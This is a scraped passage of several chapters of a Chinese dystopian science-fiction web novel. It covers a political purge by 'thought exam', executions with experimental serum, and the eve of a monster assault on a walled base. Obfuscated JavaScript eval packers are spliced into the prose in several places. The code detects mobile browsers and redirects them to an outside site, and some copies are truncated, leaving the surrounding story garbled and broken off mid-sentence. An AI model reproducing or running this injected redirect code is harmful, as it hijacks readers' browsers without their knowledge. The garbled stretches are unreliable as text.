萨摩犹豫良久,对梅道:“师……单无绮她,似乎没有意识到接下来会发生什么。” 梅持烟的手一抖,一截烟灰滚落在地上,风一样散了。 梅叹了口气:“她失忆了。” “是啊,她失忆了。”萨摩轻声回应,“她大概以为,思想考试只是一场测试忠诚和纯洁的考试。” 顿了顿后,萨摩道:“要告诉她吗?” “不。”梅的细眉不忍地蹙了一下。 独眼的男人长身玉立,他和萨摩站在暗巷里,隔着一个肩膀。 巷外明亮的地方,几个瘦骨嶙峋的孩子嬉笑着跑过。 经过拓荒年和三次人类筛选计划后,即使内外两城的贫富差距仍然巨大,但剩下的人终于勉强能吃饱了。 但这还不够。 病变的地方在头部,断尾只是缓兵之计,思想考试的重启,意味着基地开启了针对四部的大清洗。 一支烟的时间过去了,梅没有点燃第二支。 研究所地底,0和1的数据流宛如绿色的萤海。伊甸结束阅卷,拨通首长办公室的座机。 叮铃铃—— 叮铃铃—— 叮铃铃—— 铃响三声,伊甸挂断。 首长坐在办公桌后,安静地盯着不再震动的座机。办公室除了他没有旁人,他深吸一口气,拿起桌上的茶壶,给自己斟了一杯冰凉的茶水。 现在是盛夏。 这是一年中最炽烈的季节,却有许多生命就要死去了。 太阳东升西落,宛如一个轮回。 拄拐的老人蹒跚地向山下走去,年轻的孩子蹦跳着向山上走去。 首长大饮一口,将茶杯重重顿在桌上,几滴未喝尽的茶水溅在手背上,仿佛无色的血,仿佛透明的泪。 “开始吧。”他说,“将不及格的人……押去行刑场。” * 单无绮从狱中释放。 尤娜接单无绮出狱,两个人拎着大包小包,不像出狱,像搬家。 单无绮敏锐地察觉友爱部的友善。 “外面发生了什么?”单无绮问。 给柳法的肉身下葬后,阮真莎的精力萎靡了不少,剿灭“蜂”的信念支撑着她的生命,柳法的灵魂被单无绮收走后,阮真莎的健康状况急转直下。 阮真莎养病期间,单无绮失去了情报网。 尤娜咬了咬嘴唇。 “他们在行刑场上。”尤娜说。 “行刑场?”单无绮疑惑地重复这个充斥着血腥气的名词,而后,脸色骤然变得苍白。 这里是人类第一基地。 思想考试怎么会只是一场考试呢?连出题人都由最公正无私的伊甸担任,在人情世故的四部,这意味着把昔日的过失都拿来上秤。 有些东西不上秤只有四两,上了秤却有千斤。 单无绮捏紧尤娜的手:“其他人呢?他们……” “他们都很好,他们都通过了。”尤娜的前半句话让单无绮松了一口气,但后半句话,让单无绮放下的心再次悬到了嗓子眼,“但是,行刑的人是阎老和萨摩。” 单无绮狠狠皱眉:“萨摩?为什么是萨摩?” 萨摩不是被革职了吗?就算复职,他也只是司长,怎么会和阎银华一起…… 单无绮突然愣住。 而后,她猛地想明白了什么,深深地吸了一口凉气。 萨摩赢了。 丧钟早已敲响,在她还在狱中的时候。 尤娜担忧地扶住单无绮,却发现单无绮脸上流露出的既不是悲伤,也不是震惊,而是一种复杂的欣慰。 单无绮反手握住尤娜的手腕,力道大得吓人。 她的脸上扯出一个古怪的笑,像是哭一般:“我们……去行刑场吧。” * 没有通过思想考试的党员,被逐一押解到行刑场。 没有人不知道思想考试的意义,交上试卷的那一刻,他们已经做出了自己的选择。 过去,在新旧势力的斗争中,并非所有新生的,都能取代老去的。 那些被押解的党员中,有相当一部分做着旧梦,他们认为首长永垂不朽,认为太阳永不西沉,认为总有一些人可以逃过时间的惩戒,永远地坐在那个极高的位子上。 但万物皆不能长青。 思想考试是针对党员的筛选,单无绮来到行刑场时,听到了一片哭声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918842|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是同胞之间的戕害,再伟大的立意,都无法掩盖这一残酷的事实。 “我对基地无比忠诚啊,为什么!为什么……”一个党员哀嚎跪地。 押解党员的人也是党员。 考入四部后,党员仿佛加入了伊甸园,远离了人间尘嚣。平民的哭声和眼泪,不再传入他们的眼睛和耳朵,犹如高天上的云彩不会向地上的泥土俯首。 但现在,世界开始沉坠。 “我是无辜的……”绑上行刑架时,即将被处刑的党员啜泣地呢喃。 “你是无辜的,没人不知道。”为他上绑的党员说,“但这就是代价。” “代价……” “短短三年,基地发动了三次人类筛选计划,但四部党员都免于此难,基地再困苦,最好的衣服和食物都分配给了我们。”党员为即将死去的同僚绑好最后一根麻绳,“现在轮到你们了,今后,也许还会轮到我们。” 被绑住的党员沉默。 他垂下头,流下一串眼泪。 另一组行刑台上,一名友爱部党员给昔日的同僚绑着绳子。 他们一个是萨摩的下属,一个是乔纳森的下属,二人的班次排在一起,时有龃龉和摩擦。 萨摩的下属绑紧麻绳,乔纳森的下属毫无挣扎,一言不发。 “你为什么不说谎?”萨摩的下属手下用力,手套勒出深重的痕迹,“你平日里满嘴谎言,为什么关键的时候却不撒谎保命?” 乔纳森的下属抬起头:“阿廖沙……” “别叫我的名字。”萨摩的下属啐了一声,随后语气又低落下来,“我们是敌人。” “我是骗你的,阿廖沙。”乔纳森的下属轻轻地笑了一下,“我的妹妹没有死,我根本就没有妹妹。我坐过船,外城人打破城门的那天,我偷来了一张船票,挤上了逃命的船。” 萨摩的下属垂眸。 他说:“你夜里一个人去过墓园,在墓碑前放下了一只纸船。你妹妹的名字叫丹妮。” 乔纳森的下属失语。 他垂下头:“乔纳森答应过我,会为我的妹妹复仇——但他却先死了,逃兵一样。” “所以你也当了逃兵。”萨摩的下属说。 “我这样肮脏的人,不配走入光明。”乔纳森的下属说,“而且,忠诚是我唯一拿得出手的东西。” 单无绮站在行刑场外。 她扭头看向高处的首长。 首长,内外两城的信仰,基地耀眼的太阳。他作为观刑人站在高处,无人知道他在思想考试上交出了怎样的一份答卷,但所有人都知道,行刑场上即将死去的那些人,皆是因他而死。 那些人或是追随他,或是依附他,或是有求于他。 但他们的数量太庞大了,因此,这场权力更迭的戏码,显得格外触目惊心。 丧钟长鸣,萨摩和阎银华走上行刑台。 他们的手里拿着枪支和针管。 “单副官。”一个声音在单无绮身后响起,是蓝心。 单无绮回头。 蓝心看着单无绮苍白的脸,轻声道:“你知道他们手里的针管装着什么吗?” 单无绮问:“是什么?” 蓝心答:“研究所的新发明,三代特型血清。” 54. 救赎 “三代特型血清?” “是的。”蓝心的声音近乎耳语,“以牺牲三百七十二人为代价,我们根据你的血液样本,制作了能够保留人类意识的特型血清。” 蓝心并未顾忌一旁的尤娜,这个秘密也许即将大白天下。 单无绮内心盘桓着不妙的预感。 她总觉得一切仿佛被无形巨手推动着前进,仿佛一颗从山顶滚落的巨石。但她掌握的信息太少了,她回到基地的时间也太短了,而她又偏偏失忆了。 说话间,第一管血清已经注入党员体内。 团结部部长阎银华,和新晋的友爱部部长萨摩,他们一人一头,为绑缚起来的党员注射血清。 阎银华的动作比萨摩快一步,他仿佛下定了某种决心,苍老矍铄的脸不复和蔼,取而代之的是宝刀出鞘的狠厉。 他注射血清,另一只手持枪。 被注射血清的党员瞪着眼球,绝望而恐惧地看着清亮的液体沿静脉注入体内。 比死亡更恐怖的是等死的过程。 等待药效发挥的过程中,阎银华看着萨摩缓缓注射血清,又低下头,一言不发地摩挲手里的枪。 首长站在高处,仿佛一尊石像。 单无绮挤在下方,眼珠微微颤抖。 整个行刑场人满为患,却安静得可闻落针,无论是绑在木架上的罪人,还是施刑的刽子手,甚至台下的看客,没有一人发自内心地感到喜悦。 这是一场精神凌迟,对每一个人。 突然,被注射血清的党员发出一声沙哑的嘶鸣,仿佛生锈的铁片相互摩擦,不似人声,而似野兽。 阎银华抬起头,枪握在手中,指尖虚扣扳机。 他浑浊的老眼倒映出一张非人的脸庞。 那张脸庞布满黑色血管,狰狞的鳞片和半透明的触手如一簇簇肉芽,将属于人类的部分逐渐吞噬。 他在异化。 他在消亡。 失败了。阎银华闭眼。 “……首长……”异化失败的党员伸出分叉的舌尖,艰难地吐出含混的话语,“……我……不后悔……” “为了……人类的……黎……”党员的语速越来越慢。 来不及发出最后一个音节,党员眼底的人性彻底消失了。 他在木架上挣扎,犹如困兽。阎银华的手指没有一丝颤抖,举起手枪,扣下扳机。 砰! 砰! 两声枪响同时响起。 阎银华扭头,发现萨摩也开枪了。 萨摩举着手枪,冒着白烟的枪口微不可察地颤抖,异化失败的党员的鲜血,像地狱的花朵一样染红了他的手套和前襟。 察觉阎银华的目光,萨摩放下手。 “下一个。”萨摩说。 阎银华叹了一口气。 四部是一个巨大的精神病院,里面住着各处搜罗来的疯子,他们唯一的区别就是病情的轻重程度——唯有萨摩除外,他是四部里唯一的正常人。 但萨摩又能正常多久呢? 四部的权力结构牢固且稳定,它会吞噬一切明亮的东西,良善将招致恶意,退让将引发戕害,白羊将变成黑羊。在萨摩对乔纳森射出子弹的那一刻起,萨摩就踏入了一个可悲的轮回,一如二十三年前,乔纳森对昔日上司射出子弹一样。 一发子弹,两条性命。 它杀死了今日的敌人,也杀死了明日的自己。 注射血清,等待药效,开枪。如此重复数次,原本洁净的地面淌满脓液和鲜血。 丧钟未曾鸣响,枪声便是钟声。 单无绮看向首长。 你想做什么?单无绮想道。一切只发生在短短一个月内,你为何如此急切? “……呜呜……”一道虚弱的哭声响起。 单无绮转过头。 萨摩枪下的党员已经异化,布满触手和鳞片的脸庞依稀可见人类的轮廓。党员非人的眼珠充斥着人类的感情,他盯着抵在额头上的、漆黑的枪口,不受控制地啜泣起来。 人性和兽性互相厮杀,人类的部分节节败退。 单无绮挣脱尤娜的搀扶,一步步向行刑台走去。 一开始,她的脚步极慢,但几步之后,她奔跑了起来。 萨摩染血的手指一点点扣下扳机。 突然,一双洁净的手捧上异种的脸颊。 萨摩扭过头,见单无绮伸出双手,十指轻轻摩挲异化党员的脸,她的蓝眼睛和异化党员贴得极近,嘴唇微不可察地嗡动,连萨摩都听不清她呢喃着什么。 萨摩沉默片刻,放下手枪。 所有人的目光都凝聚在单无绮身上,包括首长。 单无绮的额头抵在党员的额头上,她也不知道自己为什么这么做,但直觉告诉她,这样能帮助对方。 零的意识体出现在单无绮身后,单无绮的左心口袋里,三眼鸡崽发出低弱的叫声。 单无绮在精神领域一窍不通,但她是最好的桥梁。 无数的杂念,痛苦,挣扎,沿着金色的通道进入单无绮的体内,单无绮吸收了党员体内和人性抗争的、不好的部分,让党员属于人类的部分重新浮上水面。 柳法看着涌进来的黑色恶念:“她会疯。” “她不会。”零说着,看向单无绮的记忆区,“我大概知道她失忆的原因了。” 钝痛充斥着单无绮的大脑,单无绮睁开眼,看到了一双盈满泪水的眼睛。 “单……副官……”恢复人类意识的党员羞愧地低下头,“我……不值得……被你拯救……” 萨摩继续沉默。他认得对方,对方是友爱部情报司的人,三年里,许多污蔑单无绮的新闻皆出自他手。 党员深深垂头。 他交上了一份注定不及格的试卷,因此被押上行刑场,他虽有怨恨和胆怯,但他的内心深处始终明白,一切都是他自己的选择。 但单无绮救了他。 单无绮安静地看着党员。 过了一阵,单无绮问:“基地一共有多少人?” 党员回忆片刻:“130万。” “在我流放之前呢?” “……160万。” “三成的外城人饿死在春天里,这是牺牲,也是耻辱。”单无绮轻声道,“无论你是否有罪,在你接受注射的那一刻起,功过已经相抵。你需要活着。” 党员猛地抬起头。 他抬头不超过三秒,三秒后,他重新埋下头,比任何一次更深。 两行眼泪从他残存着鳞片的脸上滑落下来。 阎银华看着单无绮和萨摩。 他垂下眼睛,余光看向台下的尤娜,见尤娜自豪而担忧地望着单无绮,他闭了闭眼,内心终于下了一个决定。 首长投来目光。 阎银华抬起头,将下一管血清注入党员体内。 行刑场上,枪声不再频繁。 注射血清后,单无绮一一捧起对方的脸,帮助对方熬过异化。一些人成功了,一些人失败了,直到他们死去,单无绮的手仍然轻柔地摩挲着。 单无绮的脸上涌出鳞片,十指溶化,变成非人的触手。 萨摩站在单无绮身旁,几番犹豫,终是没有劝阻。 首长站在高处。 首长的身后,一处无人能够看见的阴影里,梅安静地盯着首长。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他将枪口对准自己的眉心:“亚历克谢,你的妹妹是上帝赐给人类的礼物,我流放她是在保护她,你现在杀死我……如同在解脱我。” 梅灰色的左眼盯着首长的脸。 首长安静地任由梅打量。 良久,梅放下枪。 “你的确该死,但不是现在。”梅道,“下一次,你再用那个肮脏的姓氏称呼我,我会毫不犹豫地打爆你的脑袋。” 首长笑了一声,看向高台之下。 行刑场的枪声结束了。 存活的人不足四成,他们的脸上残存着鳞片,但狰狞的鳞片无法掩盖他们劫后余生的喜悦。 单无绮脱力坐地,被萨摩搀扶,尤娜紧接着冲了过去。 单无绮倚着尤娜的胸脯:“……真软。” 尤娜一下子羞红了脸。 突然,一阵闻所未闻的警报声在基地内响起。 那警报声不同于任何一次演练,由伊甸操控遗产奏响。部署在基地各处的微缩核心疯狂旋转,单无绮看向研究所,那形似方尖碑的雪色尖顶上,巨大的核心散发着不祥的涟漪。 单无绮内心咯噔一下。 “全体人类,请尽快前往地下防空洞避难。”伊甸的机械女声在基地上空响起,“根据墙外核心的反馈,大量异种正在快速集结——根据估测,一小时后,异种潮将抵达基地。” 单无绮的脸一瞬间苍白下来。 她仰起头,看向头顶透明的防护罩。 她有一个非常不妙的预感。 这个维持了三百年之久的防护罩,也许抗不过这一次异种的侵袭。 55. 大战前夕 地下防空洞紧急开启,旧人类的遗产,在伊甸的操控下首次向新人类露出真容。 基地建立在旧人类的遗产上,唯有伊甸能完全控制。 蓝心曾说,新人类对遗产的开发程度,至今还停留在解读说明书的程度上,迄今为止他们的一切努力,都不过是敲击墙壁,聆听墙的对面有着什么。 储备能源快速消耗,研究所地下,伊甸巨大的主体发出负荷过载的嗡鸣声。 伊甸在加速燃烧自己的生命。 基地公民知道伊甸,却不了解伊甸。 外城,内城,130万公民仰起头,或茫然,或恐惧,或震惊,或了然地盯着头顶。 伊甸的机械女声从上方传来,仿佛来自天际。 但唯有少数人知道,那是伊甸置于基地最高处,即研究所尖顶上的核心在发话。 内城人接受着最好的教育和供养,他们或多或少明白伊甸背后的用意,纷纷遵从旧人类遗产的引导,前往最近的避难所。 但外城人,他们在原地惶恐地伫立着,停止了手中一切的动作,仿佛一群失怙的白羊。 突然,一群孩子出现在街道上。 阮真莎形容憔悴,本就苍白的脸如今更似雪花一般,她穿着浆洗过度的黑色长裙,细格网纱遮面,头戴巨大的淑女帽,远远看去,仿佛一尊黑色的圣母像。 她走在队伍最前端,中间是福利院的孩子们。 队伍末端,一个教书匠背着两个腿脚不便的孩子,颇为俊俏的脸上有一点胡茬。 他是艾森,一个墙外的逃民。 艾森的心口揣着蓝心的信。 蓝心是研究所所长,这是艾森收到蓝心的第一封回信后才知道的事。一开始他诚惶诚恐,但他随后发现,这位尊贵的女士并未因他的冒犯而恼怒。 相反,蓝心十分平和。 蓝心十分忙碌,她的回信大多数只是在自己的去信上,简短地批注几笔。但艾森揣在胸口的信,是蓝心唯一一封正式回信。 “致艾森·朗道: 我已注射血清,不日将变成异种。 我明白你的心意,但人类存亡之际,情爱应当让步。我不忍拒绝一颗赤诚的心,因此,请你不要来找我。 孩子是人类的未来,保护好他们。” 背上的孩子动了动,艾森颠了颠,把孩子背得更稳了些。 “放心吧,蓝心同志。”艾森盯着前方,露出一个灿烂的笑,“我怎么可能拖你的后腿呢?” 阮真莎女士在外城的声望,仅次于单无绮和首长。 她收留了许多个无家可归的孩子。 外城的孩子一出生便面临苦难,当家里穷得匀不出一粒米时,那些走投无路的父母会羞愧地将孩子送去福利院,祈求阮女士暂时收留。 “阮女士,只要给他一口饭,让他不咽气就好。”穷苦的父母流着眼泪,没人愿意割舍自己的骨肉,“等他十二岁,他就可以去做工了。” 但能做工又如何呢?商人重利,偏偏外城人是最廉价的耗材。 阮真莎无数次扶起跪地哀求的父母,却扶不起他们早已佝偻的脊梁。 孩子们有的活泼,有的安静,但他们无一不听阮真莎的话,温顺地跟在阮真莎身后,向外城的避难所走去。 外城人看到了孩子们的脸庞。 那是一张张略带消瘦,却并不疾苦的脸庞。 他们吃饱了。 因为阮真莎女士,他们度过了一个美好的童年。 “阮……阮女士。”一个外城人壮着胆子问,“你们……你们要去哪里?” 阮真莎停下脚步。 她戴着细格网纱的脸露出一个静谧的微笑:“按照伊甸的指示,我们要到避难所去。” “避难所?” “是的,避难所。”阮真莎答道,“刚才出现在基地里的声音,就是伊甸。墙外的异种打过来了,我们这些平民,要到基地最安全、最牢固的避难所里去。” 外城人安静片刻。 而后,外城人问:“那……四部的老爷们呢?” 老爷,而非同志。 阮真莎微笑不改:“他们要到前线去,他们会保护我们。” …… 首长将针管抵在手臂静脉上。 四代血清静置在针管中,和行刑场上的党员所注射的三代血清不同,首长手中的这一支,是研究所的最新产品。 蓝心站在一旁,手里拿着枪。 “最多半年,第五代特型血清就会面世。”蓝心不忍地说,这种心态在她身上十分罕见,“您完全可以等一等。” “没有时间了。”首长答。 蓝心沉默。 寻常人听到首长的回答,也许会做出两层解读,第一层,人类没有时间了,第二层,首长没有时间了。 但蓝心明白,首长还有第三层意思。 “防护罩破碎之时,就是新人类向世界发出第一声啼哭之时。”蓝心道,“首长,我们在伊甸的庇护下,已经偷来了三百年的时间。” “这是你师父告诉你的?”首长轻笑。 “不。”蓝心答,“是一只异种告诉我的。” 首长陷入沉默。 他看着蓝心身上的白大褂,从前沿着两侧放下的衣领,如今已经高高竖起。 蓝心已经注射血清。 至于是最安全的第二代,还是行刑场上的第三代,亦或是首长即将注射的第四代,无人知晓。 首长问:“除了你,研究所还有谁注射了血清?” 蓝心答:“全部。” “你们注射了第几代血清?” “二代注射者全死了,三代注射者还有一部分活着。” “二代注射者……” “除了您和单副官,还有一个人活着。”蓝心道,“维沙尔·莱恩。” …… 维沙尔枯槁地躺在病床上,旧人类的遗产维持着他的生命,但也只是风中残烛。 他今年九岁,十岁生日近在眼前。 佩特拉坐在维沙尔床头,一颗一颗剥着糖果,糖纸在阳光折射下,仿佛彩虹的碎片。 安多尼坐在不远处,高大的身子如往日微微佝偻。 他的指尖滚动着玫瑰念珠,那念珠由异种晶核制成,随着他唇齿间嗡动的祷词,散发着微弱的荧光。 维沙尔睁开眼。 朦胧的视野中,维沙尔看着坐在床边的佩特拉。阳光撒在佩特拉的身上,她稚嫩如孩童的小脸,一瞬间竟然有着成年女性的神韵。 维沙尔怔怔地看着佩特拉。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938066|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他一瞬间明白了什么:“佩佩,我以为……你才是最小的那个。” 佩特拉停下剥糖纸的手,抬眸看向维沙尔。 “傻蛋,我今年二十三了,你真以为我只有八岁?”佩特拉说。 维沙尔不说话。 他沉默地看着佩特拉的脸,孩童和成人的神韵一刻不停地厮杀,让她时而像个女孩,时而像个女人。 维沙尔接受了柳法·波波夫的改造,零的灵魂进入他的体内,基地档案中,他的特殊备注是“双重人格”。 而佩特拉,她接受了来自父亲的改造。 佩特拉加入调查司的原因至今是个谜,每当旁人问起,阎银华都会将维沙尔和佩特拉混为一谈,以“他们都来自研究所”为由,含糊地解释过去。 但佩特拉的身边,安多尼寸步不离。 维沙尔是个病弱的小孩,他无需看管,一场感冒就能要了他的命。 那么,佩特拉呢? …… 单无绮检查佩枪。 她已经来到前线,外城的瓮城。 四部的攻讦不会动摇她对全体人类的信念,她是单无绮,一个拥有人类意识的异种,简称一个人类。 单无绮站在城墙上。 异种的身体赋予她超远的视力,远远地,她看到触手的海洋在地平线集结,越滚越大。 庄修文放下望远镜:“我们见证了历史,目前集结的异种至少有两千只。” 单无绮:“这段时间你在哪儿?” “资料室。”庄修文答,“我忙里偷闲整理出13套信件模板,结果尤娜说,你一个也没背下来。我很难过。” 单无绮:“……” 单无绮:“对不起嘛。” “顺带一提,我在资料室找到了一样有趣的东西。”庄修文将一个密封袋递给单无绮。 单无绮接过,拆开。 密封袋里有一份论文,名字是《群体决策过程中的集体思维研究》。 零让人类少走了数百年的弯路,是研究所创始人的导师,而这篇论文,是人类第一次不依靠零的指导,独立写出的论文。 庄修文将论文翻至某页,一行文字被人为涂黑。 “论文原件在资料室,这是它的复印件。”庄修文道,“集体思维决策,又称蜂群意识,它的论点是人的意识是客观存在的,并且可以通过某种仪式或手段进行链接,犹如自然界的蜂群。” 单无绮皱眉盯着那行涂黑的文字:“然后?” “即使是佩特拉的父亲,蜂群意识的重启者,他的名字也只是在档案中被抹去,他罪大恶极,但他曾经发表的论文,都完整地保留了下来。”庄修文道,“在基地被完全抹去存在的,只有那一位。” 单无绮呼吸一滞。 筑墙者。 “……看来,愚蠢的人类中还有零星几个聪慧的存在。”零开口,“你好好想一想,那位伟大的筑墙者有哪些特点。” 单无绮开始回忆。 来历不明,身份不明,种族不明。 筑墙者有着人类的外形,但他依然被人类指认为异种。 以及…… 单无绮的眼神顿时严肃了。 筑墙者没有过去的记忆。 一如今日的自己。 56. 两个战场 远处,异种集结的数量越来越多,无需望远镜等辅助设备,肉眼已经清晰可见。 单无绮停止眺望,庄修文放下望远镜。 阎银华站上城墙,占据着最佳瞭望点。他姗姗来迟,洗净了一身鲜血,在枪杀无数人类同胞后,他的枪口终于就要对准真正的敌人了。 四部党员皆佩戴铜制胸徽,团结部为剑徽,友爱部为盾徽,勤劳部为玫瑰徽,共荣部为太阳徽。 团结部是基地的利剑,指向外部的敌人和内部的蠹虫。 “梅·亚历克谢。”阎银华淡淡道。 梅对自己的姓氏讳莫如深,但此时此刻,当阎银华直呼他的姓氏时,他没有表现出一丝排斥。 他出列,向阎银华行了个军礼。 “你的职务?” “团结部执行司司长。” “你的职责?” “驱逐墙外异种,保护墙内安全。” 阎银华点点头。 随后,阎银华看向单无绮。 “单无绮。”阎银华道。 单无绮出列。 “你仍是戴罪之身,你从墙外归来的消息,至今还未向全体人类公开。”阎银华苍老的眼睛凝视着单无绮的脸,“单无绮,你会为此感到不公吗?” 单无绮毫不犹豫地摇头:“不会。” 阎银华的眼神锐利了一瞬:“为什么?” 单无绮笑了一下。 她伸出手,将衣领拨开,露出颈上的拘束器。 单无绮在基地露面的机会并不多,在场的党员中,有许多人还是第一次见到单无绮。 传奇的首长副官,被流放的重刑犯,神秘归来的人型异种。 官员唾骂她的滔天罪行,群众赞美她的丰功伟绩。 但今天,他们终于见到了这位站在风口浪尖上的正主。 众目睽睽之下,单无绮亮出颈上的拘束器。她用指尖敲了敲,立刻传出一声清脆的回响。 “阎部长,我是自愿戴上狗牌的。”单无绮收起微笑,“除了人类的未来,没有任何东西高于我的生命。” “如果你在说谎呢?如果你是潜入基地的异种间谍呢?” “思想考试的阅卷人是伊甸,它足以证明我的忠诚和纯洁。” 阎银华的气势彻底变得严肃:“如果你连伊甸也一同欺骗呢?” 单无绮安静片刻。 单无绮看着阎银华的脸,余光打量周围同僚的表情,当即明白了阎银华的用意。 思想考试只是针对党员的第一次筛选,而第二次筛选即将开始。 批判的武器不如武器的批判,在异种潮来临之际,死亡的威胁下,那些通过在试卷上撒谎侥幸逃过清洗的人,会暴露出最真实的面孔。 思想考试是新旧势力洗牌的信号。 它象征着开始,而非终结。 单无绮垂下眼睛,将别在左心口的铜制剑徽和铁勋章一同摘下。 她上前几步,走到阎银华面前,在阎银华深沉的目光中,她拉起阎银华的手,将那两枚徽章,放在了阎银华的手心里。 叮啷。 金属和金属碰撞,发出清脆的响声。 “我已经向伊甸交出自己的答卷,今日,我在这里重申我的立场。”单无绮道,“无论你们如何看待我的身份,我始终将自己视为一个人类,因此,我再次请求你们考验我的初心。” “我的脖颈上戴着狗牌,这是伊甸对我的防备,我的脑袋被枪口瞄准,这是人类对我的警惕。” “但是没关系,因为并非所有人都温和无锋。我是一把快刀,见血封喉,当有人将这把刀拾起,他不该责备这把刀太快,乃至割伤他的手,因为刀的职责本应如此。” “他被割伤,说明他不会用。” “我待明主,我的主人是全体人类,我的敌人,是让人类种族堕入深渊的残酷命运。” “我离去时,基地赋予我绶佩铁勋章的荣耀,我归来时,四部赋予我光荣党员的身份——现在,你们可以将这一切通通收走。” “我接受你们的审视,我接受你们的审判。” “但请你们记住,我是一把刀,你们应该将这把刀毫不犹豫地对准敌人,而非伸手抚摸我的锋刃。” 单无绮看向阎银华,露出一个明朗得堪称挑衅的笑容。 她问:“您的选择是?” 党员们用目光飞快地交流。 阎银华沉默,继而放声大笑。 “好!好!好!”阎银华笑得胸腔都在震颤,“单无绮,你很不错!” 单无绮盯着阎银华的脑袋。 ——这样严肃的时刻,她竟然只想扶一扶对方笑得歪掉的假发。 “单无绮,感谢你对基地的无条件信任,四部乃至首长,不过是人民的仆人,而非人民的主人。”阎银华终于露出友好的笑容,带着钦佩和欣慰,“接下来的话,是现任首长,即基地第36任首长的原话。” 单无绮抬起头。 全体党员竖起耳朵。 基地的太阳,内外两城的信仰,会对他昔日的副官说出怎样的寄语? “单无绮,我的副官,欢迎回家。”阎银华的声音铿锵有力,清晰地传入每一个党员的耳中,“人类的命运尚在一片迷雾中,我无法窥视更多未来。我的道路已经走到尽头,希望你从我的手中接过火炬,将珍贵的火种代代相传。” 轰——! 党员们炸开了锅。 单无绮的脑子一瞬间过热宕机。 这是近乎明牌的暗示,单无绮最高的期待,不过是等阎银华退休后,自己爬到他的位子上去。 但首长的意思是—— 你将接替我的使命。 你将成为下一个首长。 * 佩特拉来到空无一人的福利院。 公民已经前往避难所,党员也上了前线,一场大战迫在眉睫,但她的战场不在阳光下。 佩特拉哼着歌,孩童般幼小的身体不断延伸、生长。 记忆不会消失,而只会被封印。在佩特拉属于人类的人格冲破桎梏后,她终于想起了她的父姓,以及她的父亲。 “我叫佩特拉·萨恩奇。”人类的佩特拉说。 “我叫佩特拉·萨恩奇。”异种的佩特拉说。 问题比答案更有价值,因为方向比成果更需天赋。 佩特拉的父亲是波利·萨恩奇,他能从汗牛充栋的资料库里,精准地找到蜂群意识并将其重启,很难说他不是一个天才。 天才是可怕的,因为他无法被基地教化,所以首长流放了他——在他彻底被忌惮和猜疑杀死之前。 他给基地留下了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“因为我不是波利。”安多尼滚动念珠,他的念珠有72颗,“波利一视同仁,将你和佩特拉都视作他的女儿,但我……不认为你会倒向人类的一方。” 异种佩佩沉默。 片刻后,它问:“每天摩挲那72颗晶核的感觉如何?” 安多尼答:“冬暖夏凉。” “你们人类真是自私又卑劣,一边忌惮我的立场,认为非我族类其心必异,一边又垂涎我的能力,要我为了你们的大业去死。”佩佩讥诮地笑了一声,“但是,我要对你说,你赢了。” 安多尼转动念珠的手停顿了一瞬。 “……在我死后,把我的晶核串在你的念珠上吧。”佩佩的表情柔和又悲凉,“15年来,多谢你了。” 安多尼垂眸。 他第一次躲开佩佩的眼睛,偏过头,看向窗外。 上帝将世界分为白天与黑夜,一如人类将道路分为光明与黑暗。 有的人行走在光明里,有的人行走在黑暗里。 阳光洒在安多尼的瞳孔上,他微微垂眸,随后,深深地闭上了双眼。 57. 活着 当第一声号角吹响之时,单无绮跳下城墙,奔赴战场。 高墙巍峨,足有百米。无人知道筑墙者如何筑起这样的高墙,但正如他晦暗扑朔的死因,他的力量与智慧也如同一团迷雾,无法探知全貌。 单无绮迎风跳下,梅没能抓到妹妹的衣角。 墙上宽阔得能跑马,梅站在墙头,安静地凝望单无绮纵身跳下的背影。 从百米高度一跃而下,对人类而言无异于自杀,但对单无绮来说,却是短暂拥抱自由的美好时刻。 下落的狂风鼓动单无绮的制服,仿佛飞鸟的双翼。 唰! 十几根生长着鳞片的触手,从单无绮的制服下伸展而出。 无数人的注视下,单无绮跳下高墙,落地时,飞扬的尘土甚至一度迷住了众人的眼睛。 梅凝视着地面,缓缓收回伸出去的手。 阎银华走到梅的身后,拍了拍梅的肩膀。 “你在想什么?” “小丫头长大了。”梅说,声音听不出喜怒,“我一直告诉自己,她已经成年了,但直到今天,我才真正地消化了这个事实。” 梅回头,正要部署援护。突然,梅垂落在身侧的手心,被阎银华塞进一枚坚硬的东西。 梅甚至没有看一眼,凭手感认出此乃何物:“单无绮的剑徽?” “无绮将剑徽和铁勋章交给我,但另一枚铁勋章,本来属于外城的阮真莎。”阎银华笑呵呵地解释道,他并非有意克扣,“代她保管好她的荣耀,此战结束后,她就是下一任首长了。” 梅低下头,看着手心里的剑徽。 